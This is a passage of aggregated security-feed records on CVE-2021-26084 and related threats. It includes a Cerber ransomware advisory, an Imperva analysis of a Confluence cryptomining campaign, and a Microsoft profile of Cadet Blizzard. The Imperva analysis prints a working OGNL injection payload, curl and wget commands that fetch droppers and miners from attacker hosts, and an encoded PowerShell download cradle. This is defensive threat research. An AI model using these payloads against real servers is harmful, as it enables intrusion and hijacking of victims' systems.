"COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-10189", "CVE-2021-26084", "CVE-2021-40539"], "modified": "2021-09-09T12:58:48", "id": "THREATPOST:705B9DD7E8602B9F2F913955E25C2550", "href": "https://threatpost.com/zoho-password-manager-zero-day-attack/169303/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "hivepro": [{"lastseen": "2021-12-14T15:20:51", "description": "#### THREAT LEVEL: Red.\n\nFor a detailed advisory, [download the pdf file here.](<https://www.hivepro.com/wp-content/uploads/2021/12/Cerber-targeting-organizations-with-publicly_TA202158.pdf>)[](<https://docs.google.com/viewer?url=https%3A%2F%2Fwww.hivepro.com%2Fwp-content%2Fuploads%2F2021%2F11%2FMicrosoft-could-not-patch-this-vulnerability_TA202150-1.pdf&embedded=true&chrome=false&dov=1> \"View this pdf file\" )\n\nCerber, ransomware that mysteriously vanished in 2019, has reappeared with a new encryption. The new cerber includes fresh source code and makes use of the new library Crypto+++, whereas the previous form made use of Windows CryptoAPI libraries.\n\nCerber is utilizing the following two vulnerabilities: -CVE-2021-26084: a remote code execution vulnerability that allows an attacker to execute arbitrary code in Atlassian Confluence Servers and Datacenters versions 6.13.22, 6.14.0-7.4.10, 7.5.0-7.11.5, 7.12.0-7.12.4. It has been fixed in versions 6.13.23, 7.4.11, 7.11.6, and 7.12.5. -CVE-2021-22205: GitHub Gitlab community and enterprise versions 11.9.0-13.8 are affected by a command execution vulnerability that can be exploited by uploading an image that runs via the ExifTool of GitLab Workhorse and achieving remote code execution via a specially designed file. It has been fixed in version 13.9.\n\nThe new Cerber ransomware uses either of the two vulnerabilities mentioned above and then enters victims' systems and encrypts their files. Cerber ransomware places the ransom note in the file **__$$RECOVERY_README$$__.html**, and all the encrypted files have an extension of .locked.\n\nOrganizations can patch both vulnerabilities by upgrading their systems to fixed versions.\n\nThe TTP's used by **Cerber** includes:\n\nTA0002 - Execution\n\nT1059 - Command and Scripting Interpreter\n\nT1059.003 - Command and Scripting Interpreter: Windows Command Shell\n\nTA0007 - Discovery\n\nT1012 - Query Registry\n\nT1082 - System Information Discovery\n\n#### Vulnerability Details\n\n\n\n#### Indicators of Compromise(IoCs)\n\n\n\n#### Patch Links\n\n<https://jira.atlassian.com/browse/CONFSERVER-67940>\n\n#### References\n\n<https://gitlab.com/gitlab-org/gitlab/-/issues/327121>\n\n<https://packetstormsecurity.com/files/164768/GitLab-Unauthenticated-Remote-ExifTool-Command-Injection.html>\n\n<https://packetstormsecurity.com/files/164013/Confluence-Server-7.12.4-OGNL-Injection-Remote-Code-Execution.html>\n\n<https://otx.alienvault.com/pulse/61af78ee529faac40b2de15e/related>\n\n<https://app.any.run/tasks/c59f562e-4a61-459c-b0a3-9890c412b0ea/>\n\n<https://www.bleepingcomputer.com/news/security/new-cerber-ransomware-targets-confluence-and-gitlab-servers/>", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-12-14T13:50:15", "type": "hivepro", "title": "Cerber targeting organizations with publicly available exploits", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22205", "CVE-2021-26084"], "modified": "2021-12-14T13:50:15", "id": "HIVEPRO:E9C63D0D70D3232F21940B33FC205340", "href": "https://www.hivepro.com/cerber-targeting-organizations-with-publicly-available-exploits/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "impervablog": [{"lastseen": "2021-12-29T14:37:27", "description": "Ransomware may have dominated headlines in 2021, but it\u2019s only one of many threats security teams must protect against. We\u2019re taking a look back at 5 top cybersecurity stories of 2021 that practitioners wanted to learn more about.\n\n## [5\\. The State of Security in eCommerce](<https://www.imperva.com/blog/by-the-numbers-the-state-of-security-in-ecommerce/>)\n\n### Why you should learn more about this\n\nThe global pandemic has pushed more consumers online and forced the acceleration of growth in eCommerce. The threat landscape for eCommerce websites has never been larger or more complex, with bad bot traffic being the principal problem, accounting for 57% of all attacks on online retail websites in 2021. In addition to stopping ordinary eCommerce transactions, about a third of attacks on web applications on retail websites resulted in data leakage. And with 83% of retail websites running third-party JavaScript-based services executing on the client-side, application developers are creating blind spots in securing the services they need to protect.\n\n### What can eCommerce enterprises do?\n\nIn addition to [Advanced Bot Protection](<https://www.imperva.com/products/advanced-bot-protection-management/>), security practitioners may also consider [Client-Side Protection](<https://www.imperva.com/products/client-side-protection/>) that provides visibility into JavaScript services executing on a website at any given moment. This solution automatically scans for existing and newly added services, eliminating the risk of them being a blind spot for security. Client-Side Protection enables you to allow approved domains while blocking unapproved ones and ensures your customers\u2019 sensitive information doesn\u2019t end up being transferred to unauthorized locations and that no fraudsters are exploiting your visitors.\n\n## [4\\. How Imperva Is Protecting Customers & Staying Ahead of CVE-2021-44228](<https://www.imperva.com/blog/how-were-protecting-customers-staying-ahead-of-cve-2021-44228/>)\n\n### Why you should learn more about this\n\nCVE-2021-44228 allows for unauthenticated remote code execution and is having a big impact on all organizations running Java workloads. Security teams are scrambling to immediately patch their software and upgrade third-party components to meet SLAs. Initial attack peaks reached roughly 280K/hour and as with other CVEs in its class, we expect to see this number grow, especially as new variants are created and discovered over the coming days and weeks.\n\n### What can security practitioners do?\n\n[Runtime Application Self-Protection](<https://www.imperva.com/products/runtime-application-self-protection-rasp/>) (RASP) offers a defense-in-depth strategy for enterprises to protect their applications and APIs on a broad front. Many Imperva customers that have deployed RASP have saved thousands of hours in emergency patching and made their secure software development lifecycle faster. Customers that have RASP deployed across their Java applications are protected from RCEs related to CVE-2021-44228.\n\n## [3\\. The ad blocker that injects ads](<https://www.imperva.com/blog/the-ad-blocker-that-injects-ads/>)\n\n### Why you should learn more about this\n\nAd injection is the process of inserting unauthorized advertisements into a publisher\u2019s web page with the intention of enticing the user to click on them. Ad injectors are often made by scammers trying to make money from application downloads. They can generate revenue for their creators by serving ads and stealing advertising impressions from other websites. With many people spending more time browsing the web, deceptive ad injection is a growing concern. Attackers are constantly refining their tactics, techniques, and procedures.\n\n### What can security practitioners do?\n\nMalicious JavaScript files, including ad injection scripts, are still widespread on the Internet despite worldwide efforts among security practitioners to make the web safer. Imperva [Client-Side Protection](<https://www.imperva.com/products/client-side-protection/>) enables customers to block such malicious JavaScript threats. The solution provides security teams with visibility and insights into the JavaScript-based services running on their websites, as well as the ability to block unwanted services from executing.\n\n## [2\\. Attackers exploit CVE-2021-26084 for XMRig crypto mining on affected Confluence servers](<https://www.imperva.com/blog/attackers-exploit-cve-2021-26084-for-xmrig-crypto-mining-on-affected-confluence-servers/>)\n\n### Why you should learn more about this\n\nRemote Code Execution (RCE) vulnerabilities can easily allow threat actors to exploit affected systems for easy monetary gain by installing cryptocurrency miners and masking their activity, thus abusing the processing resources of the target.\n\n### What can security practitioners do?\n\nWith [Imperva Cloud Web Application Firewall](<https://www.imperva.com/products/web-application-firewall-waf/>), security practitioners can see a CVEs activity in Imperva Attack Analytics. Also, Given the nature of how [Imperva Runtime Application Self-Protection](<https://www.imperva.com/products/runtime-application-self-protection-rasp/>) works, RCEs can be stopped without requiring any code changes or policy updates. Applications of all kinds (active, legacy, third-party, APIs, etc.) are protected when RASP is actively deployed.\n\n## [1\\. 5 elements to include in a cybersecurity strategy for any size business](<https://www.imperva.com/blog/5-elements-to-include-in-a-cybersecurity-strategy-for-any-size-business/>)\n\n### Why you should learn more about this\n\nCybercriminals don\u2019t care how big your business is. If there is a way to separate you from your data or put a wrench in the works of your web applications by launching an automated attack, they will figure out a way to do that. If not directly through your site, then through the software supply chain or through your website visitors. Today, you shouldn\u2019t depend on your developers to build water-tight web application code, your ISP to protect you from a DDoS attack, or your compliance audit checkbox to protect you from a data breach. The threat landscape has progressed far beyond these notions.\n\n### What can security practitioners do?\n\nWe strongly recommend working with [cybersecurity experts](<https://www.imperva.com/contact-us/>) to accurately evaluate your specific threat landscape and help you build a sustainable data security strategy for today and the future.\n\nThe post [2021 in Review, Part 2: 5 Top Cybersecurity Stories](<https://www.imperva.com/blog/2021-in-review-part-2-5-top-cybersecurity-stories/>) appeared first on [Blog](<https://www.imperva.com/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-29T12:03:19", "type": "impervablog", "title": "2021 in Review, Part 2: 5 Top Cybersecurity Stories", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2021-44228"], "modified": "2021-12-29T12:03:19", "id": "IMPERVABLOG:7CB37AC69862942C5D316E69A7815579", "href": "https://www.imperva.com/blog/2021-in-review-part-2-5-top-cybersecurity-stories/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-09-13T20:35:04", "description": "## Vulnerability Overview\n\nOn August 25, 2021 [a security advisory was released](<https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>) for a vulnerability identified in Confluence Server titled \u201cCVE-2021-26084: Atlassian Confluence OGNL Injection\u201d.\n\nThe vulnerability allows an unauthenticated attacker to perform remote command execution by taking advantage of an insecure handling of OGNL (Object-Graph Navigation Language) on affected Confluence servers.\n\nSoon after the publication, various POC/Exploits were published online - at the time of writing this blog there are 32 Github repositories available for CVE-2021-26084.\n\nBesides the publicly available exploits (attempts at executing them were already detected on our systems), Imperva security researchers were able to identify attackers\u2019 attempts to exploit this vulnerability in order to install and run the XMRig cryptocurrency miner on affected Confluence servers running on Windows and Linux systems.\n\n## Analysis\n\n### Attacker Methodology\n\nAs mentioned above we were able to detect payloads targeting Windows and Linux Confluence servers.\n\nIn both cases, the attacker is using the same methodology in exploiting a vulnerable Confluence Server.\n\n * Attacker determines the target operating system and downloads Linux Shell/Windows Powershell dropper scripts from a remote C&C server, and writes them into a writable location on the affected system (under /tmp on Linux and $env:TMP system variable on Windows).\n * Executing downloaded dropper scripts.\n * Dropper Scripts perform the following actions to download, install and execute the XMRig crypto mining files: \n * Removal of competing crypto mining processes and their related files.\n * Establishing persistence by adding a crontab/scheduled task based on the operating system.\n * Download of the XMRig crypto mining files and post-exploitation clean up scripts. The files are written to temporary locations, masked as legitimate services/executables.\n * Starting XMRig mining.\n * Execution of post-exploitation scripts.\n\n### Downloaded Dropper Scripts\n\nThe following malicious payload was observed on our monitoring systems: \nqueryString=aaaaaaaa'+{Class.forName('javax.script.ScriptEngineManager') .newInstance().getEngineByName('JavaScript').eval('var isWin = \njava.lang.System.getProperty("os.name").toLowerCase().contains("win"); \nvar cmd = new java.lang.String("curl -fsSL \nhxxp://27.1.1.34:8080/docs/s/26084.txt -o /tmp/.solrg");var p = new \njava.lang.ProcessBuilder(); if(isWin){p.command("cmd.exe", "/c", cmd); \n} else{p.command("bash", "-c", cmd); }p.redirectErrorStream(true); var \nprocess= p.start(); var inputStreamReader = new \njava.io.InputStreamReader(process.getInputStream()); \nvar bufferedReader = new java.io.BufferedReader(inputStreamReader); var \nline = ""; var output = ""; while((line = bufferedReader.readLine()) \n!= null){output = output + line + java.lang.Character.toString(10); \n}')}+'\n\nFrom the sample above we see the attacker is attempting to determine the vulnerable server operating system by calling java.lang.System.getProperty("os.name"):\n\nOnce the operating system is determined, a file is downloaded from a remote source by either using curl as can be seen in the example above or by powershell:\n\nDownload of a Linux Shell dropper script: \nvar cmd = new java.lang.String("**curl -fsSL hxxp://27.1.1.34:8080/docs/s/26084.txt -o /tmp/.solrg**");\n\nDownload of a Windows Powershell dropper script: \nvar cmd = new java.lang.String(**"powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC \n4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAo \nACcAaAB0AHQAcAA6AC8ALwAyADcALgAxAC4AMQAuADMANAA6ADgAMAA4ADAALwBkAG8AYw \nBzAC8AcwAvAHMAeQBzAC4AcABzADEAJwApAA=="**);\n\nThe powershell payload is base64 encoded, thus decoded into the following code which downloads the sys.ps1 file: \nIEX (New-Object System.Net.Webclient).DownloadString('[hxxp://27.1.1.34:8080/docs/s/sys.ps1](<8080/docs/s/sys.ps1>)')\n\nShell Dropper scripts: \ncurl -fsSL [hxxp://27.1.1.34:8080/docs/s/26084.txt](<http://27.1.1.34:8080/docs/s/26084.txt>) -o /tmp/.solrg \nPost-exploitation linked clean up scripts that remove all traces of the dropper script mentioned above: \ncurl -fsSL [hxxp://27.1.1.34:8080/docs/s/kg.txt](<8080/docs/s/kg.txt>) -o /tmp/.solrx \ncurl -fsSL [hxxp://27.1.1.34:8080/docs/s/kk.txt](<8080/docs/s/kk.txt>) -o /tmp/.solrx \ncurl -fsSL [hxxp://27.1.1.34:8080/docs/s/kill.sh](<8080/docs/s/kk.txt>) -o /tmp/.{random_string}\n\n### Executing Downloaded Dropper Scripts\n\nThe downloaded dropper scripts are executed using the similar payload found in the vulnerable querystring parameter shown above.\n\nBelow is one example where again the attacker is using different code execution command based on the affected server operating system detected: \nqueryString=aaaaaaaa'+{Class.forName('javax.script.ScriptEngineManager \n').newInstance().getEngineByName('JavaScript').eval('var isWin = \njava.lang.System.getProperty("os.name").toLowerCase().contains("win"); \n**var cmd = new java.lang.String("bash /tmp/.solrg**");var p = new \njava.lang.ProcessBuilder(); if(isWin){p.command("cmd.exe", "/c", cmd); \n} else{p.command("bash", "-c", cmd); }p.redirectErrorStream(true); var \nprocess= p.start(); var inputStreamReader = new \njava.io.InputStreamReader(process.getInputStream()); var \nbufferedReader = new java.io.BufferedReader(inputStreamReader); var \nline = ""; var output = ""; while((line = bufferedReader.readLine()) \n!= null){output = output + line + java.lang.Character.toString(10); \n}')}+'\n\n### Dropper Script Analysis\n\nAs mentioned earlier, the first part of the dropper scripts are performing the removal of competing crypto mining processes and their related files.\n\nOn Linux systems:\n\nOn Windows systems:\n\nIn the next step, the script establishes persistence by adding a crontab/scheduled task, and downloads additional files from publicly available platforms that can sometimes host malwares (pastebin).\n\nOn Linux systems:\n\nOn Windows systems:\n\nThe script then finally downloads the XMRig cryptocurrency miner files.\n\nThe files are then written to temporary locations, masked as legitimate services/executables.\n\nAnd finally, the script starting the XMRig mining and execution of post-exploitation scripts is done separately.\n\nThe set of actions described above is executed differently based on the target operating system.\n\nOn Linux systems:\n\nDownloaded XMRig cryptocurrency miner files: \ncurl -fsSL hxxp://27[.]1[.]1[.]34[:]8080/docs/s/config.json -o /tmp/.solr/config.json - Miner Config file \ncurl -fsSL hxxp://222[.]122[.]47[.]27[:]2143/auth/solrd.exe -o /tmp/.solr/solrd - XMRig Miner \ncurl -fsSL hxxp://27[.]1[.]1[.]34[:]8080/docs/s/solr.sh -o /tmp/.solr/solr.sh - XMRig Miner starter script\n\nThe script then executes the solr.sh miner starter script which in turn executes solrd, which is the XMRig Miner file that starts the mining process.\n\nOn Windows systems: \nFirst some variables are set, followed by a custom function (function Update($url,$path,$proc_name) that performs file downloads using the WebClient.DownloadFile Method using a System.Net.WebClient object, \nwhich is used later in the script:\n\nXMRig miner executable, miner name and path: \n$miner_url = "hxxp://222[.]122[.]47[.]27[:]2143/auth/xmrig.exe" \n$miner_name = "javae" \n$miner_path = "$env:TMP\\javae.exe" \n\n\nMiner configuration file, name and path: \n$miner_cfg_url = "hxxp://27[.]1[.]1[.]34[:]8080/docs/s/config.json" \n$miner_cfg_name = "config.json" \n$miner_cfg_path = "$env:TMP\\config.json" \n\n\nClean-up batch script (clean.bat), name and path: \n$killmodule_url = "hxxp://27[.]1[.]1[.]34[:]8080/examples/clean.bat" \n$killmodule_name = "clean.bat" \n$killmodule_path = "$env:TMP\\clean.bat" \n\n\nAfter the script variables are set, the script then performs the following actions:\n\nClears the System File, Hidden File and Read-Only attributes for any previously installed miner configuration files (config.json), and deletes their relevant files and folders. \nUsing the custom Update function, it downloads the miner executable and config files by passing the variables set earlier to the said function. \nNext it sets the System File, Hidden File and Read-Only attributes for the newly downloaded miner files, and starts the miner process.\n\nLast step is executing the clean-up batch script, and termination of the powershell.exe process.\n\n### Attacker Origin\n\nThe threat actors\u2019 TTP (tactics, techniques, procedures) aren\u2019t new and we\u2019ve seen similar attack campaigns in the past. Based on the data we observed including downloaders, payloads, configuration, C&C servers and more, we identified a known threat actor that is tied to previous attack campaigns going back as far as March 2021.\n\nThe C&C 27[.]1[.]1[.]34[:]8080 has been previously associated with the z0Miner botnet. \nz0Miner is a malicious mining family that became active last year and has been publicly analyzed by the [Tencent Security Team](<https://s.tencent.com/research/report/1170.html>).\n\nIt was found that the attackers exploited two Oracle Weblogic RCE vulnerabilities (CVE-2020-14882 and CVE-2020-14883), which used the same methodology as mentioned earlier to install XMRig crypto miners on affected systems.\n\nIn past cases it was found that the same botnet was exploiting an ElasticSearch RCE vulnerability (CVE-2015-1427) and an older RCE impacting Jenkins servers, using the same methodology.\n\nOur findings lead us to believe that the same z0Miner botnet is actively exploiting CVE-2021-26084 for XMRig crypto mining.\n\n### Other Identified Payloads\n\nOther payloads were observed on our monitoring systems attempting to exploit CVE-2021-26084, and were identified as:\n\nMuhstik IOT Botnet activity \ncurl -s 194[.]31[.]52[.]174/conf2||wget -qO - \n194[.]31[.]52[.]174/conf2\n\nThe following research was conducted about this identified bot activity:\n\n> [Muhstik Takes Aim at Confluence CVE 2021-26084](<https://www.lacework.com/blog/muhstik-takes-aim-at-confluence-cve-2021-26084/>)\n\nVirusTotal identified the following payloads as:\n\nBillGates Botnet \ncurl -O hxxp://213[.]202[.]230[.]103/syna;wget \nhxxp://213[.]202[.]230[.]103/syna\n\nDofloo Trojan \ncurl -O hxxp://213[.]202[.]230[.]103/quu;wget \nhxxp://213[.]202[.]230[.]103/quu\n\n## Summary\n\nAs is often the case with RCE vulnerabilities, attackers will rush and exploit affected systems for their own gain. RCE vulnerabilities can easily allow threat actors to exploit affected systems for easy monetary gain by installing crypto currency miners and masking their activity, thus abusing the processing resources of the target.\n\nOnce CVE-2021-26084 publicly published, the Imperva Threat Research team immediately began their research on creating a mitigation. It was soon found out that protection against the vulnerability was already provided Out-Of-The-Box.\n\nThe post [Attackers exploit CVE-2021-26084 for XMRig crypto mining on affected Confluence servers](<https://www.imperva.com/blog/attackers-exploit-cve-2021-26084-for-xmrig-crypto-mining-on-affected-confluence-servers/>) appeared first on [Blog](<https://www.imperva.com/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-13T14:57:52", "type": "impervablog", "title": "Attackers exploit CVE-2021-26084 for XMRig crypto mining on affected Confluence servers", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-1427", "CVE-2020-14882", "CVE-2020-14883", "CVE-2021-26084"], "modified": "2021-09-13T14:57:52", "id": "IMPERVABLOG:85E1B351EDAA80DF81632A8B8BD07634", "href": "https://www.imperva.com/blog/attackers-exploit-cve-2021-26084-for-xmrig-crypto-mining-on-affected-confluence-servers/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "mssecure": [{"lastseen": "2023-06-23T15:26:13", "description": "As Russia\u2019s invasion of Ukraine continues into its second year and Microsoft continues to collaborate with global partners in response, the exposure of destructive cyber capabilities and information operations provide greater clarity into the tools and techniques used by Russian state-sponsored threat actors. Throughout the conflict, Russian threat actors have deployed a variety of destructive capabilities with varying levels of sophistication and impact, which showcase how malicious actors rapidly implement novel techniques during a hybrid war, along with the practical limitations of executing destructive campaigns when significant operational errors are made and the security community rallies around defense. These insights help security researchers continuously refine detection and mitigation capabilities to defend against such attacks as they evolve in a wartime environment.\n\nToday, Microsoft Threat Intelligence is sharing updated details about techniques of a threat actor formerly tracked as [DEV-0586](<https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/>)\u2014a distinct Russian state-sponsored threat actor that has now been elevated to the name Cadet Blizzard. As a result of our investigation into their intrusion activity over the past year, we have gained high confidence in our analysis and knowledge of the actor\u2019s tooling, victimology, and motivation, meeting the criteria to convert this group to a [named threat actor](<https://www.microsoft.com/security/blog/2023/04/18/microsoft-shifts-to-a-new-threat-actor-naming-taxonomy/>). \n\nMicrosoft assesses that Cadet Blizzard operations are [associated with the Russian General Staff Main Intelligence Directorate (GRU)](<https://blogs.microsoft.com/on-the-issues/2023/06/14/russian-cyberattacks-ukraine-cadet-blizzard/>) but are separate from other known and more established GRU-affiliated groups such as Forest Blizzard (STRONTIUM) and Seashell Blizzard (IRIDIUM). While Microsoft constantly tracks a number of activity groups with varying degrees of Russian government affiliation, the emergence of a novel GRU affiliated actor, particularly one which has conducted destructive cyber operations likely supporting broader military objectives in Ukraine, is a notable development in the Russian cyber threat landscape. A month before Russia invaded Ukraine, Cadet Blizzard foreshadowed future destructive activity when it created and deployed [WhisperGate](<https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/>), a destructive capability that wipes Master Boot Records (MBRs), against Ukrainian government organizations. Cadet Blizzard is also linked [to the defacements](<https://www.npr.org/2022/01/14/1073001754/ukraine-cyber-attack-government-websites-russia>) of several Ukrainian organization websites, as well as multiple operations, including the hack-and-leak forum known as \u201cFree Civilian\u201d.\n\nMicrosoft has tracked Cadet Blizzard since the deployment of WhisperGate in January 2022. We assess that they have been operational in some capacity since at least 2020 and continue to perform network operations through the present. Operationally consistent with the remit and assessed objectives of GRU-led operations throughout Russia\u2019s invasion of Ukraine, Cadet Blizzard has engaged in focused destructive attacks, espionage, and information operations in regionally significant areas. Cadet Blizzard\u2019s operations, though comparatively less prolific in both scale and scope to more established threat actors such as Seashell Blizzard, are structured to deliver impact and frequently run the risk of hampering continuity of network operations and exposing sensitive information through targeted hack-and-leak operations. Primary targeted sectors include government organizations and information technology providers in Ukraine, although organizations in Europe and Latin America have also been targeted.\n\nMicrosoft has been [working with CERT-UA](<https://blogs.microsoft.com/on-the-issues/2022/11/03/our-tech-support-ukraine/#:~:text=Since%20the%20war%20began%20in%20February%2C%20Microsoft%20and,critical%20Ukrainian%20services%20through%20data%20centers%20across%20Europe.>) closely since the beginning of Russia\u2019s war in Ukraine and continues to support the country and neighboring states in protecting against cyberattacks, such as the ones carried out by Cadet Blizzard. As with any observed nation-state actor activity, Microsoft directly and proactively notifies customers that have been targeted or compromised, providing them with the information they need to guide their investigations. Microsoft is also actively working with members of the global security community and other strategic partners to share information that can address this evolving threat through multiple channels. Having elevated this activity to a distinct threat actor name, we\u2019re sharing this information with the larger security community to provide insights to protect and mitigate Cadet Blizzard as a threat. Organizations should actively take steps to protect environments against Cadet Blizzard, and this blog further aims to discuss how to detect and prevent disruption.\n\n## Who is Cadet Blizzard?\n\nCadet Blizzard is a Russian GRU-sponsored threat group that Microsoft began tracking following disruptive and destructive events occurring at multiple government agencies in Ukraine in mid-January 2022. During this time, Russian troops backed with tanks and artillery were surrounding the Ukrainian border as the military prepped for an offensive attack. The [defacements](<https://www.npr.org/2022/01/14/1073001754/ukraine-cyber-attack-government-websites-russia>) of key Ukrainian institutions\u2019 websites, coupled with the WhisperGate malware, prefaced [multiple waves of attacks](<https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd>) by Seashell Blizzard that followed when the Russian military began their ground offensive a month later.\n\nCadet Blizzard compromises and maintains a foothold on affected networks for months, often exfiltrating data prior to disruptive actions. Microsoft observed Cadet Blizzard\u2019s activity peak between January and June 2022, followed by an extended period of reduced activity. The group re-emerged in January 2023 with increased operations against multiple entities in Ukraine and in Europe, including another round of website defacements and a new \u201cFree Civilian\u201d Telegram channel affiliated with the hack-and-leak front under the same name that first emerged in January 2022, around the same time as the initial defacements. Cadet Blizzard actors are active seven days of the week and have conducted their operations during their primary European targets\u2019 off-business hours. Microsoft assesses that NATO member states involved in providing military aid to Ukraine are at greater risk.\n\nFigure 1. A heatmap of the operational cadence of Cadet Blizzard\n\nCadet Blizzard seeks to conduct disruption, destruction, and information collection, using whatever means are available and sometimes acting in a haphazard fashion. While the group carries high risk due to their destructive activity, they appear to operate with a lower degree of operational security than that of longstanding and advanced Russian groups such as Seashell Blizzard and Forest Blizzard. Additionally, as is the case with other Russian state-sponsored threat groups, Microsoft assesses that at least one Russian private sector organization has materially supported Cadet Blizzard by providing operational support including during the WhisperGate destructive attack.\n\n### Targets\n\nCadet Blizzard\u2019s operations are global in scope but consistently affect regional hotspots in Ukraine, Europe, Central Asia, and, periodically, Latin America. Cadet Blizzard likely prioritizes target networks based on requirements consistent with Russian military or intelligence objectives such as geolocation or perceived impact. Cadet Blizzard, consistent with a Russian military-associated threat actor, continues to mainly target Ukraine, although the relative scope of impact of Cadet Blizzard\u2019s destructive activity is minimal compared to the multiple waves of destructive attacks that we attribute to Seashell Blizzard. In January 2022, Cadet Blizzard launched destructive attacks in Ukraine in the following industry verticals:\n\n * Government services\n * Law enforcement\n * Non-profit/non-governmental organization\n * IT service providers/consulting\n * Emergency services\n\nCadet Blizzard has repeatedly targeted information technology providers and software developers that provide services to government organizations using a supply chain \u201ccompromise one, compromise many\u201d technique. The group\u2019s January 2022 compromise of government entities in Ukraine probably were at least in part due to access and information gained during a breach of an information technology provider that often worked with these organizations.\n\nPrior to the war in Ukraine, Cadet Blizzard performed historical compromises of several Eastern European entities as well, primarily affecting the government and technology sectors as early as April 2021. As the war continues, Cadet Blizzard activity poses an increasing risk to the broader European community, specifically any successful attacks against governments and IT service providers, which may give the actor both tactical and strategic-level insight into Western operations and policy surrounding the conflict. Gaining heightened levels of access into these targeted sectors may also enable Cadet Blizzard to carry out retaliatory demonstrations in opposition to the West\u2019s support for Ukraine.\n\n### Tools, tactics, and procedures\n\nCadet Blizzard is a conventional network operator and commonly utilizes living-off-the-land techniques after gaining initial access to move laterally through the network, collect credentials and other information, and deploy defense evasion techniques and persistence mechanisms. Unlike other Russian-affiliated groups that historically prefer to remain undetected to perform espionage, the result of at least some notable Cadet Blizzard operations are extremely disruptive and are almost certainly intended to be public signals to their targets to achieve the larger objective of destruction, disruption, and possibly, intimidation.\n\nFigure 2. Cadet Blizzard's normal operational lifecycle\n\n**Initial access**\n\nCadet Blizzard predominantly achieves initial access through exploitation of web servers commonly found on network perimeters and DMZs. Cadet Blizzard is also known for exploiting Confluence servers through the CVE-2021-26084 vulnerability, Exchange servers through multiple vulnerabilities including CVE-2022-41040 and ProxyShell, and likely commodity vulnerabilities in various open-source platforms such as content management systems.\n\n**Persistence**\n\nCadet Blizzard frequently persists on target networks through the deployment of commodity web shells used either for commanding or tunneling. Commonly utilized web shells include [P0wnyshell](<https://github.com/flozz/p0wny-shell>), [reGeorg](<https://github.com/sensepost/reGeorg>), PAS, and even custom variants included in publicly available exploit kits.\n\nIn February 2023, [CERT-UA reported](<https://cert.gov.ua/article/3947787>) an attempted attack against a Ukrainian state information system that involved a variant of the PAS web shell, which 